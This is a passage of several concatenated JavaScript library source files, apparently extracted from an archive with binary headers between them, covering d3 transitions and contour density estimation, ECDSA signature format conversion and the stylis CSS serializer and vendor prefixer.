}

function styleRemoveEnd(name) {
  return function() {
    this.style.removeProperty(name);
  };
}

function styleConstant(name, interpolate, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = style(this, name);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value1);
  };
}

function styleFunction(name, interpolate, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0 = style(this, name),
        value1 = value(this);
    if (value1 == null) value1 = (this.style.removeProperty(name), style(this, name));
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate(value00 = value0, value10 = value1);
  };
}

export default function(name, value, priority) {
  var i = (name += "") === "transform" ? interpolateTransform : interpolate;
  return value == null ? this
          .styleTween(name, styleRemove(name, i))
          .on("end.style." + name, styleRemoveEnd(name))
      : this.styleTween(name, typeof value === "function"
          ? styleFunction(name, i, tweenValue(this, "style." + name, value))
          : styleConstant(name, i, value + ""), priority);
}
PKf��\�{h7^^transition/interpolate.jsnu�[���import {color} from "d3-color";
import {interpolateNumber, interpolateRgb, interpolateString} from "d3-interpolate";

export default function(a, b) {
  var c;
  return (typeof b === "number" ? interpolateNumber
      : b instanceof color ? interpolateRgb
      : (c = color(b)) ? (b = c, interpolateRgb)
      : interpolateString)(a, b);
}
PKf��\�D''transition/duration.jsnu�[���import {get, set} from "./schedule";

function durationFunction(id, value) {
  return function() {
    set(this, id).duration = +value.apply(this, arguments);
  };
}

function durationConstant(id, value) {
  return value = +value, function() {
    set(this, id).duration = value;
  };
}

export default function(value) {
  var id = this._id;

  return arguments.length
      ? this.each((typeof value === "function"
          ? durationFunction
          : durationConstant)(id, value))
      : get(this.node(), id).duration;
}
PKf��\aմ��transition/selection.jsnu�[���import {selection} from "d3-selection";

var Selection = selection.prototype.constructor;

export default function() {
  return new Selection(this._groups, this._parents);
}
PKf��\�5��;;transition/tween.jsnu�[���import {get, set} from "./schedule";

function tweenRemove(id, name) {
  var tween0, tween1;
  return function() {
    var schedule = set(this, id),
        tween = schedule.tween;

    // If this node shared tween with the previous node,
    // just assign the updated shared tween and we’re done!
    // Otherwise, copy-on-write.
    if (tween !== tween0) {
      tween1 = tween0 = tween;
      for (var i = 0, n = tween1.length; i < n; ++i) {
        if (tween1[i].name === name) {
          tween1 = tween1.slice();
          tween1.splice(i, 1);
          break;
        }
      }
    }

    schedule.tween = tween1;
  };
}

function tweenFunction(id, name, value) {
  var tween0, tween1;
  if (typeof value !== "function") throw new Error;
  return function() {
    var schedule = set(this, id),
        tween = schedule.tween;

    // If this node shared tween with the previous node,
    // just assign the updated shared tween and we’re done!
    // Otherwise, copy-on-write.
    if (tween !== tween0) {
      tween1 = (tween0 = tween).slice();
      for (var t = {name: name, value: value}, i = 0, n = tween1.length; i < n; ++i) {
        if (tween1[i].name === name) {
          tween1[i] = t;
          break;
        }
      }
      if (i === n) tween1.push(t);
    }

    schedule.tween = tween1;
  };
}

export default function(name, value) {
  var id = this._id;

  name += "";

  if (arguments.length < 2) {
    var tween = get(this.node(), id).tween;
    for (var i = 0, n = tween.length, t; i < n; ++i) {
      if ((t = tween[i]).name === name) {
        return t.value;
      }
    }
    return null;
  }

  return this.each((value == null ? tweenRemove : tweenFunction)(id, name, value));
}

export function tweenValue(transition, name, value) {
  var id = transition._id;

  transition.each(function() {
    var schedule = set(this, id);
    (schedule.value || (schedule.value = {}))[name] = value.apply(this, arguments);
  });

  return function(node) {
    return get(node, id).value[name];
  };
}
PKf��\��*_qqtransition/styleTween.jsnu�[���function styleTween(name, value, priority) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.style.setProperty(name, i(t), priority);
    };
  }
  tween._value = value;
  return tween;
}

export default function(name, value, priority) {
  var key = "style." + (name += "");
  if (arguments.length < 2) return (key = this.tween(key)) && key._value;
  if (value == null) return this.tween(key, null);
  if (typeof value !== "function") throw new Error;
  return this.tween(key, styleTween(name, value, priority == null ? "" : priority));
}
PKf��\��2���interrupt.jsnu�[���import {STARTING, ENDING, ENDED} from "./transition/schedule";

export default function(node, name) {
  var schedules = node.__transition,
      schedule,
      active,
      empty = true,
      i;

  if (!schedules) return;

  name = name == null ? null : name + "";

  for (i in schedules) {
    if ((schedule = schedules[i]).name !== name) { empty = false; continue; }
    active = schedule.state > STARTING && schedule.state < ENDING;
    schedule.state = ENDED;
    schedule.timer.stop();
    if (active) schedule.on.call("interrupt", node, node.__data__, schedule.index, schedule.group);
    delete schedules[i];
  }

  if (empty) delete node.__transition;
}
PKf��\�F=qllselection/transition.jsnu�[���import {Transition, newId} from "../transition/index";
import schedule from "../transition/schedule";
import {easeCubicInOut} from "d3-ease";
import {now} from "d3-timer";

var defaultTiming = {
  time: null, // Set on use.
  delay: 0,
  duration: 250,
  ease: easeCubicInOut
};

function inherit(node, id) {
  var timing;
  while (!(timing = node.__transition) || !(timing = timing[id])) {
    if (!(node = node.parentNode)) {
      return defaultTiming.time = now(), defaultTiming;
    }
  }
  return timing;
}

export default function(name) {
  var id,
      timing;

  if (name instanceof Transition) {
    id = name._id, name = name._name;
  } else {
    id = newId(), (timing = defaultTiming).time = now(), name = name == null ? null : name + "";
  }

  for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        schedule(node, name, id, i, group, timing || inherit(node, id));
      }
    }
  }

  return new Transition(groups, this._parents, name, id);
}
PKf��\�YUl��selection/index.jsnu�[���import {selection} from "d3-selection";
import selection_interrupt from "./interrupt";
import selection_transition from "./transition";

selection.prototype.interrupt = selection_interrupt;
selection.prototype.transition = selection_transition;
PKf��\^U$��selection/interrupt.jsnu�[���import interrupt from "../interrupt";

export default function(name) {
  return this.each(function() {
    interrupt(this, name);
  });
}
PKׂ�\��F�
density.jsnu�[���import {max, range, tickStep} from "d3-array";
import {slice} from "./array";
import {blurX, blurY} from "./blur";
import constant from "./constant";
import contours from "./contours";

function defaultX(d) {
  return d[0];
}

function defaultY(d) {
  return d[1];
}

function defaultWeight() {
  return 1;
}

export default function() {
  var x = defaultX,
      y = defaultY,
      weight = defaultWeight,
      dx = 960,
      dy = 500,
      r = 20, // blur radius
      k = 2, // log2(grid cell size)
      o = r * 3, // grid offset, to pad for blur
      n = (dx + o * 2) >> k, // grid width
      m = (dy + o * 2) >> k, // grid height
      threshold = constant(20);

  function density(data) {
    var values0 = new Float32Array(n * m),
        values1 = new Float32Array(n * m);

    data.forEach(function(d, i, data) {
      var xi = (+x(d, i, data) + o) >> k,
          yi = (+y(d, i, data) + o) >> k,
          wi = +weight(d, i, data);
      if (xi >= 0 && xi < n && yi >= 0 && yi < m) {
        values0[xi + yi * n] += wi;
      }
    });

    // TODO Optimize.
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);
    blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k);
    blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k);

    var tz = threshold(values0);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      var stop = max(values0);
      tz = tickStep(0, stop, tz);
      tz = range(0, Math.floor(stop / tz) * tz, tz);
      tz.shift();
    }

    return contours()
        .thresholds(tz)
        .size([n, m])
      (values0)
        .map(transform);
  }

  function transform(geometry) {
    geometry.value *= Math.pow(2, -2 * k); // Density in points per square pixel.
    geometry.coordinates.forEach(transformPolygon);
    return geometry;
  }

  function transformPolygon(coordinates) {
    coordinates.forEach(transformRing);
  }

  function transformRing(coordinates) {
    coordinates.forEach(transformPoint);
  }

  // TODO Optimize.
  function transformPoint(coordinates) {
    coordinates[0] = coordinates[0] * Math.pow(2, k) - o;
    coordinates[1] = coordinates[1] * Math.pow(2, k) - o;
  }

  function resize() {
    o = r * 3;
    n = (dx + o * 2) >> k;
    m = (dy + o * 2) >> k;
    return density;
  }

  density.x = function(_) {
    return arguments.length ? (x = typeof _ === "function" ? _ : constant(+_), density) : x;
  };

  density.y = function(_) {
    return arguments.length ? (y = typeof _ === "function" ? _ : constant(+_), density) : y;
  };

  density.weight = function(_) {
    return arguments.length ? (weight = typeof _ === "function" ? _ : constant(+_), density) : weight;
  };

  density.size = function(_) {
    if (!arguments.length) return [dx, dy];
    var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]);
    if (!(_0 >= 0) && !(_0 >= 0)) throw new Error("invalid size");
    return dx = _0, dy = _1, resize();
  };

  density.cellSize = function(_) {
    if (!arguments.length) return 1 << k;
    if (!((_ = +_) >= 1)) throw new Error("invalid cell size");
    return k = Math.floor(Math.log(_) / Math.LN2), resize();
  };

  density.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), density) : threshold;
  };

  density.bandwidth = function(_) {
    if (!arguments.length) return Math.sqrt(r * (r + 1));
    if (!((_ = +_) >= 0)) throw new Error("invalid bandwidth");
    return r = Math.round((Math.sqrt(4 * _ * _ + 1) - 1) / 2), resize();
  };

  return density;
}
PKׂ�\+C]���area.jsnu�[���export default function(ring) {
  var i = 0, n = ring.length, area = ring[n - 1][1] * ring[0][0] - ring[n - 1][0] * ring[0][1];
  while (++i < n) area += ring[i - 1][1] * ring[i][0] - ring[i - 1][0] * ring[i][1];
  return area;
}
PKׂ�\�Crrblur.jsnu�[���// TODO Optimize edge cases.
// TODO Optimize index calculation.
// TODO Optimize arguments.
export function blurX(source, target, r) {
  var n = source.width,
      m = source.height,
      w = (r << 1) + 1;
  for (var j = 0; j < m; ++j) {
    for (var i = 0, sr = 0; i < n + r; ++i) {
      if (i < n) {
        sr += source.data[i + j * n];
      }
      if (i >= r) {
        if (i >= w) {
          sr -= source.data[i - w + j * n];
        }
        target.data[i - r + j * n] = sr / Math.min(i + 1, n - 1 + w - i, w);
      }
    }
  }
}

// TODO Optimize edge cases.
// TODO Optimize index calculation.
// TODO Optimize arguments.
export function blurY(source, target, r) {
  var n = source.width,
      m = source.height,
      w = (r << 1) + 1;
  for (var i = 0; i < n; ++i) {
    for (var j = 0, sr = 0; j < m + r; ++j) {
      if (j < m) {
        sr += source.data[i + j * n];
      }
      if (j >= r) {
        if (j >= w) {
          sr -= source.data[i + (j - w) * n];
        }
        target.data[i + (j - r) * n] = sr / Math.min(j + 1, m - 1 + w - j, w);
      }
    }
  }
}
PKׂ�\���noop.jsnu�[���export default function() {}
PKׂ�\�P��contains.jsnu�[���export default function(ring, hole) {
  var i = -1, n = hole.length, c;
  while (++i < n) if (c = ringContains(ring, hole[i])) return c;
  return 0;
}

function ringContains(ring, point) {
  var x = point[0], y = point[1], contains = -1;
  for (var i = 0, n = ring.length, j = n - 1; i < n; j = i++) {
    var pi = ring[i], xi = pi[0], yi = pi[1], pj = ring[j], xj = pj[0], yj = pj[1];
    if (segmentContains(pi, pj, point)) return 0;
    if (((yi > y) !== (yj > y)) && ((x < (xj - xi) * (y - yi) / (yj - yi) + xi))) contains = -contains;
  }
  return contains;
}

function segmentContains(a, b, c) {
  var i; return collinear(a, b, c) && within(a[i = +(a[0] === b[0])], c[i], b[i]);
}

function collinear(a, b, c) {
  return (b[0] - a[0]) * (c[1] - a[1]) === (c[0] - a[0]) * (b[1] - a[1]);
}

function within(p, q, r) {
  return p <= q && q <= r || r <= q && q <= p;
}
PKׂ�\.%�contours.jsnu�[���import {extent, thresholdSturges, tickStep, range} from "d3-array";
import {slice} from "./array";
import ascending from "./ascending";
import area from "./area";
import constant from "./constant";
import contains from "./contains";
import noop from "./noop";

var cases = [
  [],
  [[[1.0, 1.5], [0.5, 1.0]]],
  [[[1.5, 1.0], [1.0, 1.5]]],
  [[[1.5, 1.0], [0.5, 1.0]]],
  [[[1.0, 0.5], [1.5, 1.0]]],
  [[[1.0, 1.5], [0.5, 1.0]], [[1.0, 0.5], [1.5, 1.0]]],
  [[[1.0, 0.5], [1.0, 1.5]]],
  [[[1.0, 0.5], [0.5, 1.0]]],
  [[[0.5, 1.0], [1.0, 0.5]]],
  [[[1.0, 1.5], [1.0, 0.5]]],
  [[[0.5, 1.0], [1.0, 0.5]], [[1.5, 1.0], [1.0, 1.5]]],
  [[[1.5, 1.0], [1.0, 0.5]]],
  [[[0.5, 1.0], [1.5, 1.0]]],
  [[[1.0, 1.5], [1.5, 1.0]]],
  [[[0.5, 1.0], [1.0, 1.5]]],
  []
];

export default function() {
  var dx = 1,
      dy = 1,
      threshold = thresholdSturges,
      smooth = smoothLinear;

  function contours(values) {
    var tz = threshold(values);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      var domain = extent(values), start = domain[0], stop = domain[1];
      tz = tickStep(start, stop, tz);
      tz = range(Math.floor(start / tz) * tz, Math.floor(stop / tz) * tz, tz);
    } else {
      tz = tz.slice().sort(ascending);
    }

    return tz.map(function(value) {
      return contour(values, value);
    });
  }

  // Accumulate, smooth contour rings, assign holes to exterior rings.
  // Based on https://github.com/mbostock/shapefile/blob/v0.6.2/shp/polygon.js
  function contour(values, value) {
    var polygons = [],
        holes = [];

    isorings(values, value, function(ring) {
      smooth(ring, values, value);
      if (area(ring) > 0) polygons.push([ring]);
      else holes.push(ring);
    });

    holes.forEach(function(hole) {
      for (var i = 0, n = polygons.length, polygon; i < n; ++i) {
        if (contains((polygon = polygons[i])[0], hole) !== -1) {
          polygon.push(hole);
          return;
        }
      }
    });

    return {
      type: "MultiPolygon",
      value: value,
      coordinates: polygons
    };
  }

  // Marching squares with isolines stitched into rings.
  // Based on https://github.com/topojson/topojson-client/blob/v3.0.0/src/stitch.js
  function isorings(values, value, callback) {
    var fragmentByStart = new Array,
        fragmentByEnd = new Array,
        x, y, t0, t1, t2, t3;

    // Special case for the first row (y = -1, t2 = t3 = 0).
    x = y = -1;
    t1 = values[0] >= value;
    cases[t1 << 1].forEach(stitch);
    while (++x < dx - 1) {
      t0 = t1, t1 = values[x + 1] >= value;
      cases[t0 | t1 << 1].forEach(stitch);
    }
    cases[t1 << 0].forEach(stitch);

    // General case for the intermediate rows.
    while (++y < dy - 1) {
      x = -1;
      t1 = values[y * dx + dx] >= value;
      t2 = values[y * dx] >= value;
      cases[t1 << 1 | t2 << 2].forEach(stitch);
      while (++x < dx - 1) {
        t0 = t1, t1 = values[y * dx + dx + x + 1] >= value;
        t3 = t2, t2 = values[y * dx + x + 1] >= value;
        cases[t0 | t1 << 1 | t2 << 2 | t3 << 3].forEach(stitch);
      }
      cases[t1 | t2 << 3].forEach(stitch);
    }

    // Special case for the last row (y = dy - 1, t0 = t1 = 0).
    x = -1;
    t2 = values[y * dx] >= value;
    cases[t2 << 2].forEach(stitch);
    while (++x < dx - 1) {
      t3 = t2, t2 = values[y * dx + x + 1] >= value;
      cases[t2 << 2 | t3 << 3].forEach(stitch);
    }
    cases[t2 << 3].forEach(stitch);

    function stitch(line) {
      var start = [line[0][0] + x, line[0][1] + y],
          end = [line[1][0] + x, line[1][1] + y],
          startIndex = index(start),
          endIndex = index(end),
          f, g;
      if (f = fragmentByEnd[startIndex]) {
        if (g = fragmentByStart[endIndex]) {
          delete fragmentByEnd[f.end];
          delete fragmentByStart[g.start];
          if (f === g) {
            f.ring.push(end);
            callback(f.ring);
          } else {
            fragmentByStart[f.start] = fragmentByEnd[g.end] = {start: f.start, end: g.end, ring: f.ring.concat(g.ring)};
          }
        } else {
          delete fragmentByEnd[f.end];
          f.ring.push(end);
          fragmentByEnd[f.end = endIndex] = f;
        }
      } else if (f = fragmentByStart[endIndex]) {
        if (g = fragmentByEnd[startIndex]) {
          delete fragmentByStart[f.start];
          delete fragmentByEnd[g.end];
          if (f === g) {
            f.ring.push(end);
            callback(f.ring);
          } else {
            fragmentByStart[g.start] = fragmentByEnd[f.end] = {start: g.start, end: f.end, ring: g.ring.concat(f.ring)};
          }
        } else {
          delete fragmentByStart[f.start];
          f.ring.unshift(start);
          fragmentByStart[f.start = startIndex] = f;
        }
      } else {
        fragmentByStart[startIndex] = fragmentByEnd[endIndex] = {start: startIndex, end: endIndex, ring: [start, end]};
      }
    }
  }

  function index(point) {
    return point[0] * 2 + point[1] * (dx + 1) * 4;
  }

  function smoothLinear(ring, values, value) {
    ring.forEach(function(point) {
      var x = point[0],
          y = point[1],
          xt = x | 0,
          yt = y | 0,
          v0,
          v1 = values[yt * dx + xt];
      if (x > 0 && x < dx && xt === x) {
        v0 = values[yt * dx + xt - 1];
        point[0] = x + (value - v0) / (v1 - v0) - 0.5;
      }
      if (y > 0 && y < dy && yt === y) {
        v0 = values[(yt - 1) * dx + xt];
        point[1] = y + (value - v0) / (v1 - v0) - 0.5;
      }
    });
  }

  contours.contour = contour;

  contours.size = function(_) {
    if (!arguments.length) return [dx, dy];
    var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]);
    if (!(_0 > 0) || !(_1 > 0)) throw new Error("invalid size");
    return dx = _0, dy = _1, contours;
  };

  contours.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), contours) : threshold;
  };

  contours.smooth = function(_) {
    return arguments.length ? (smooth = _ ? smoothLinear : noop, contours) : smooth === smoothLinear;
  };

  return contours;
}
PK���\y?_��ecdsa-sig-formatter.d.tsnu�[���/// <reference types="node" />

declare module "ecdsa-sig-formatter" {
	/**
	 * Convert the ASN.1/DER encoded signature to a JOSE-style concatenated signature. Returns a base64 url encoded String.
	 *    If signature is a String, it should be base64 encoded
	 *    alg must be one of ES256, ES384 or ES512
	 */
	export function derToJose(signature: Buffer | string, alg: string): string;

	/**
	 * Convert the JOSE-style concatenated signature to an ASN.1/DER encoded signature. Returns a Buffer
	 *     If signature is a String, it should be base64 url encoded
	 *     alg must be one of ES256, ES384 or ES512
	 */
	export function joseToDer(signature: Buffer | string, alg: string): Buffer
}
PK���\CI�^��ecdsa-sig-formatter.jsnu�[���'use strict';

var Buffer = require('safe-buffer').Buffer;

var getParamBytesForAlg = require('./param-bytes-for-alg');

var MAX_OCTET = 0x80,
	CLASS_UNIVERSAL = 0,
	PRIMITIVE_BIT = 0x20,
	TAG_SEQ = 0x10,
	TAG_INT = 0x02,
	ENCODED_TAG_SEQ = (TAG_SEQ | PRIMITIVE_BIT) | (CLASS_UNIVERSAL << 6),
	ENCODED_TAG_INT = TAG_INT | (CLASS_UNIVERSAL << 6);

function base64Url(base64) {
	return base64
		.replace(/=/g, '')
		.replace(/\+/g, '-')
		.replace(/\//g, '_');
}

function signatureAsBuffer(signature) {
	if (Buffer.isBuffer(signature)) {
		return signature;
	} else if ('string' === typeof signature) {
		return Buffer.from(signature, 'base64');
	}

	throw new TypeError('ECDSA signature must be a Base64 string or a Buffer');
}

function derToJose(signature, alg) {
	signature = signatureAsBuffer(signature);
	var paramBytes = getParamBytesForAlg(alg);

	// the DER encoded param should at most be the param size, plus a padding
	// zero, since due to being a signed integer
	var maxEncodedParamLength = paramBytes + 1;

	var inputLength = signature.length;

	var offset = 0;
	if (signature[offset++] !== ENCODED_TAG_SEQ) {
		throw new Error('Could not find expected "seq"');
	}

	var seqLength = signature[offset++];
	if (seqLength === (MAX_OCTET | 1)) {
		seqLength = signature[offset++];
	}

	if (inputLength - offset < seqLength) {
		throw new Error('"seq" specified length of "' + seqLength + '", only "' + (inputLength - offset) + '" remaining');
	}

	if (signature[offset++] !== ENCODED_TAG_INT) {
		throw new Error('Could not find expected "int" for "r"');
	}

	var rLength = signature[offset++];

	if (inputLength - offset - 2 < rLength) {
		throw new Error('"r" specified length of "' + rLength + '", only "' + (inputLength - offset - 2) + '" available');
	}

	if (maxEncodedParamLength < rLength) {
		throw new Error('"r" specified length of "' + rLength + '", max of "' + maxEncodedParamLength + '" is acceptable');
	}

	var rOffset = offset;
	offset += rLength;

	if (signature[offset++] !== ENCODED_TAG_INT) {
		throw new Error('Could not find expected "int" for "s"');
	}

	var sLength = signature[offset++];

	if (inputLength - offset !== sLength) {
		throw new Error('"s" specified length of "' + sLength + '", expected "' + (inputLength - offset) + '"');
	}

	if (maxEncodedParamLength < sLength) {
		throw new Error('"s" specified length of "' + sLength + '", max of "' + maxEncodedParamLength + '" is acceptable');
	}

	var sOffset = offset;
	offset += sLength;

	if (offset !== inputLength) {
		throw new Error('Expected to consume entire buffer, but "' + (inputLength - offset) + '" bytes remain');
	}

	var rPadding = paramBytes - rLength,
		sPadding = paramBytes - sLength;

	var dst = Buffer.allocUnsafe(rPadding + rLength + sPadding + sLength);

	for (offset = 0; offset < rPadding; ++offset) {
		dst[offset] = 0;
	}
	signature.copy(dst, offset, rOffset + Math.max(-rPadding, 0), rOffset + rLength);

	offset = paramBytes;

	for (var o = offset; offset < o + sPadding; ++offset) {
		dst[offset] = 0;
	}
	signature.copy(dst, offset, sOffset + Math.max(-sPadding, 0), sOffset + sLength);

	dst = dst.toString('base64');
	dst = base64Url(dst);

	return dst;
}

function countPadding(buf, start, stop) {
	var padding = 0;
	while (start + padding < stop && buf[start + padding] === 0) {
		++padding;
	}

	var needsSign = buf[start + padding] >= MAX_OCTET;
	if (needsSign) {
		--padding;
	}

	return padding;
}

function joseToDer(signature, alg) {
	signature = signatureAsBuffer(signature);
	var paramBytes = getParamBytesForAlg(alg);

	var signatureBytes = signature.length;
	if (signatureBytes !== paramBytes * 2) {
		throw new TypeError('"' + alg + '" signatures must be "' + paramBytes * 2 + '" bytes, saw "' + signatureBytes + '"');
	}

	var rPadding = countPadding(signature, 0, paramBytes);
	var sPadding = countPadding(signature, paramBytes, signature.length);
	var rLength = paramBytes - rPadding;
	var sLength = paramBytes - sPadding;

	var rsBytes = 1 + 1 + rLength + 1 + 1 + sLength;

	var shortLength = rsBytes < MAX_OCTET;

	var dst = Buffer.allocUnsafe((shortLength ? 2 : 3) + rsBytes);

	var offset = 0;
	dst[offset++] = ENCODED_TAG_SEQ;
	if (shortLength) {
		// Bit 8 has value "0"
		// bits 7-1 give the length.
		dst[offset++] = rsBytes;
	} else {
		// Bit 8 of first octet has value "1"
		// bits 7-1 give the number of additional length octets.
		dst[offset++] = MAX_OCTET	| 1;
		// length, base 256
		dst[offset++] = rsBytes & 0xff;
	}
	dst[offset++] = ENCODED_TAG_INT;
	dst[offset++] = rLength;
	if (rPadding < 0) {
		dst[offset++] = 0;
		offset += signature.copy(dst, offset, 0, paramBytes);
	} else {
		offset += signature.copy(dst, offset, rPadding, paramBytes);
	}
	dst[offset++] = ENCODED_TAG_INT;
	dst[offset++] = sLength;
	if (sPadding < 0) {
		dst[offset++] = 0;
		signature.copy(dst, offset, paramBytes);
	} else {
		signature.copy(dst, offset, paramBytes + sPadding);
	}

	return dst;
}

module.exports = {
	derToJose: derToJose,
	joseToDer: joseToDer
};
PK���\ĭ:��param-bytes-for-alg.jsnu�[���'use strict';

function getParamSize(keySize) {
	var result = ((keySize / 8) | 0) + (keySize % 8 === 0 ? 0 : 1);
	return result;
}

var paramBytesForAlg = {
	ES256: getParamSize(256),
	ES384: getParamSize(384),
	ES512: getParamSize(521)
};

function getParamBytesForAlg(alg) {
	var paramBytes = paramBytesForAlg[alg];
	if (paramBytes) {
		return paramBytes;
	}

	throw new Error('Unknown algorithm "' + alg + '"');
}

module.exports = getParamBytesForAlg;
PK��\�8ۺ__
Serializer.jsnu�[���import {IMPORT, LAYER, COMMENT, RULESET, DECLARATION, KEYFRAMES} from './Enum.js'
import {strlen, sizeof} from './Utility.js'

/**
 * @param {object[]} children
 * @param {function} callback
 * @return {string}
 */
export function serialize (children, callback) {
	var output = ''
	var length = sizeof(children)

	for (var i = 0; i < length; i++)
		output += callback(children[i], i, children, callback) || ''

	return output
}

/**
 * @param {object} element
 * @param {number} index
 * @param {object[]} children
 * @param {function} callback
 * @return {string}
 */
export function stringify (element, index, children, callback) {
	switch (element.type) {
		case LAYER: if (element.children.length) break
		case IMPORT: case DECLARATION: return element.return = element.return || element.value
		case COMMENT: return ''
		case KEYFRAMES: return element.return = element.value + '{' + serialize(element.children, callback) + '}'
		case RULESET: element.value = element.props.join(',')
	}

	return strlen(children = serialize(element.children, callback)) ? element.return = element.value + '{' + children + '}' : ''
}
PK��\�0#�vvPrefixer.jsnu�[���import {MS, MOZ, WEBKIT} from './Enum.js'
import {hash, charat, strlen, indexof, replace, substr, match} from './Utility.js'

/**
 * @param {string} value
 * @param {number} length
 * @param {object[]} children
 * @return {string}
 */
export function prefix (value, length, children) {
	switch (hash(value, length)) {
		// color-adjust
		case 5103:
			return WEBKIT + 'print-' + value + value
		// animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function)
		case 5737: case 4201: case 3177: case 3433: case 1641: case 4457: case 2921:
		// text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break
		case 5572: case 6356: case 5844: case 3191: case 6645: case 3005:
		// mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite,
		case 6391: case 5879: case 5623: case 6135: case 4599: case 4855:
		// background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width)
		case 4215: case 6389: case 5109: case 5365: case 5621: case 3829:
			return WEBKIT + value + value
		// tab-size
		case 4789:
			return MOZ + value + value
		// appearance, user-select, transform, hyphens, text-size-adjust
		case 5349: case 4246: case 4810: case 6968: case 2756:
			return WEBKIT + value + MOZ + value + MS + value + value
		// writing-mode
		case 5936:
			switch (charat(value, length + 11)) {
				// vertical-l(r)
				case 114:
					return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'tb') + value
				// vertical-r(l)
				case 108:
					return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'tb-rl') + value
				// horizontal(-)tb
				case 45:
					return WEBKIT + value + MS + replace(value, /[svh]\w+-[tblr]{2}/, 'lr') + value
				// default: fallthrough to below
			}
		// flex, flex-direction, scroll-snap-type, writing-mode
		case 6828: case 4268: case 2903:
			return WEBKIT + value + MS + value + value
		// order
		case 6165:
			return WEBKIT + value + MS + 'flex-' + value + value
		// align-items
		case 5187:
			return WEBKIT + value + replace(value, /(\w+).+(:[^]+)/, WEBKIT + 'box-$1$2' + MS + 'flex-$1$2') + value
		// align-self
		case 5443:
			return WEBKIT + value + MS + 'flex-item-' + replace(value, /flex-|-self/g, '') + (!match(value, /flex-|baseline/) ? MS + 'grid-row-' + replace(value, /flex-|-self/g, '') : '') + value
		// align-content
		case 4675:
			return WEBKIT + value + MS + 'flex-line-pack' + replace(value, /align-content|flex-|-self/g, '') + value
		// flex-shrink
		case 5548:
			return WEBKIT + value + MS + replace(value, 'shrink', 'negative') + value
		// flex-basis
		case 5292:
			return WEBKIT + value + MS + replace(value, 'basis', 'preferred-size') + value
		// flex-grow
		case 6060:
			return WEBKIT + 'box-' + replace(value, '-grow', '') + WEBKIT + value + MS + replace(value, 'grow', 'positive') + value
		// transition
		case 4554:
			return WEBKIT + replace(value, /([^-])(transform)/g, '$1' + WEBKIT + '$2') + value
		// cursor
		case 6187:
			return replace(replace(replace(value, /(zoom-|grab)/, WEBKIT + '$1'), /(image-set)/, WEBKIT + '$1'), value, '') + value
		// background, background-image
		case 5495: case 3959:
			return replace(value, /(image-set\([^]*)/, WEBKIT + '$1' + '$`$1')
		// justify-content
		case 4968:
			return replace(replace(value, /(.+:)(flex-)?(.*)/, WEBKIT + 'box-pack:$3' + MS + 'flex-pack:$3'), /s.+-b[^;]+/, 'justify') + WEBKIT + value + value
		// justify-self
		case 4200:
			if (!match(value, /flex-|baseline/)) return MS + 'grid-column-align' + substr(value, length) + value
			break
		// grid-template-(columns|rows)
		case 2592: case 3360:
			return MS + replace(value, 'template-', '') + value
		// grid-(row|column)-start
		case 4384: case 3616:
			if (children && children.some(function (element, index) { return length = index, match(element.props, /grid-\w+-end/) })) {
				return ~indexof(value + (children = children[length].value), 'span') ? value : (MS + replace(value, '-start', '') + value + MS + 'grid-row-span:' + (~indexof(children, 'span') ? match(children, /\d+/) : +match(children, /\d+/) - +match(value, /\d+/)) + ';')
			}
			return MS + replace(value, '-start', '') + value
		// grid-(row|column)-end
		case 4896: case 4128:
			return (children && children.some(function (element) { return match(element.props, /grid-\w+-start/) })) ? value : MS + replace(replace(value, '-end', '-span'), 'span ', '') + value
		// (margin|padding)-inline-(start|end)
		case 4095: case 3583: case 4068: case 2532:
			return replace(value, /(.+)-inline(.+)/, WEBKIT + '$1$2') + value
		// (min|max)?(width|height|inline-size|block-size)
		case 8116: case 7059: case 5753: case 5535:
		case 5445: case 5701: case 4933: case 4677:
		case 5533: case 5789: case 5021: case 4765:
			// stretch, max-content, min-content, fill-available
			if (strlen(value) - 1 - length > 6)
				switch (charat(value, length + 1)) {
					// (m)ax-content, (m)in-content
					case 109:
						// -
						if (charat(value, length + 4) !== 45)
							break
					// (f)ill-available, (f)it-content
					case 102:
						return replace(value, /(.+:)(.+)-([^]+)/, '$1' + WEBKIT + '$2-$3' + '$1' + MOZ + (charat(value, length + 3) == 108 ? '$3' : '$2-$3')) + value
					// (s)tretch
					case 115:
						return ~indexof(value, 'stretch') ? prefix(replace(value, 'stretch', 'fill-available'), length, children) + value : value
				}
			break
		// grid-(column|row)
		case 5152: case 5920:
			return replace(value, /(.+?):(\d+)(\s*\/\s*(span)?\s*(\d+))?(.*)/, function (_, a, b, c, d, e, f) { return (MS + a + ':' + b + f) + (c ? (MS + a + '-span:' + (d ? e : +e - +b)) + f : '') + value })
		// position: sticky
		case 4949:
			// stick(y)?
			if (charat(value, length + 6) === 121)
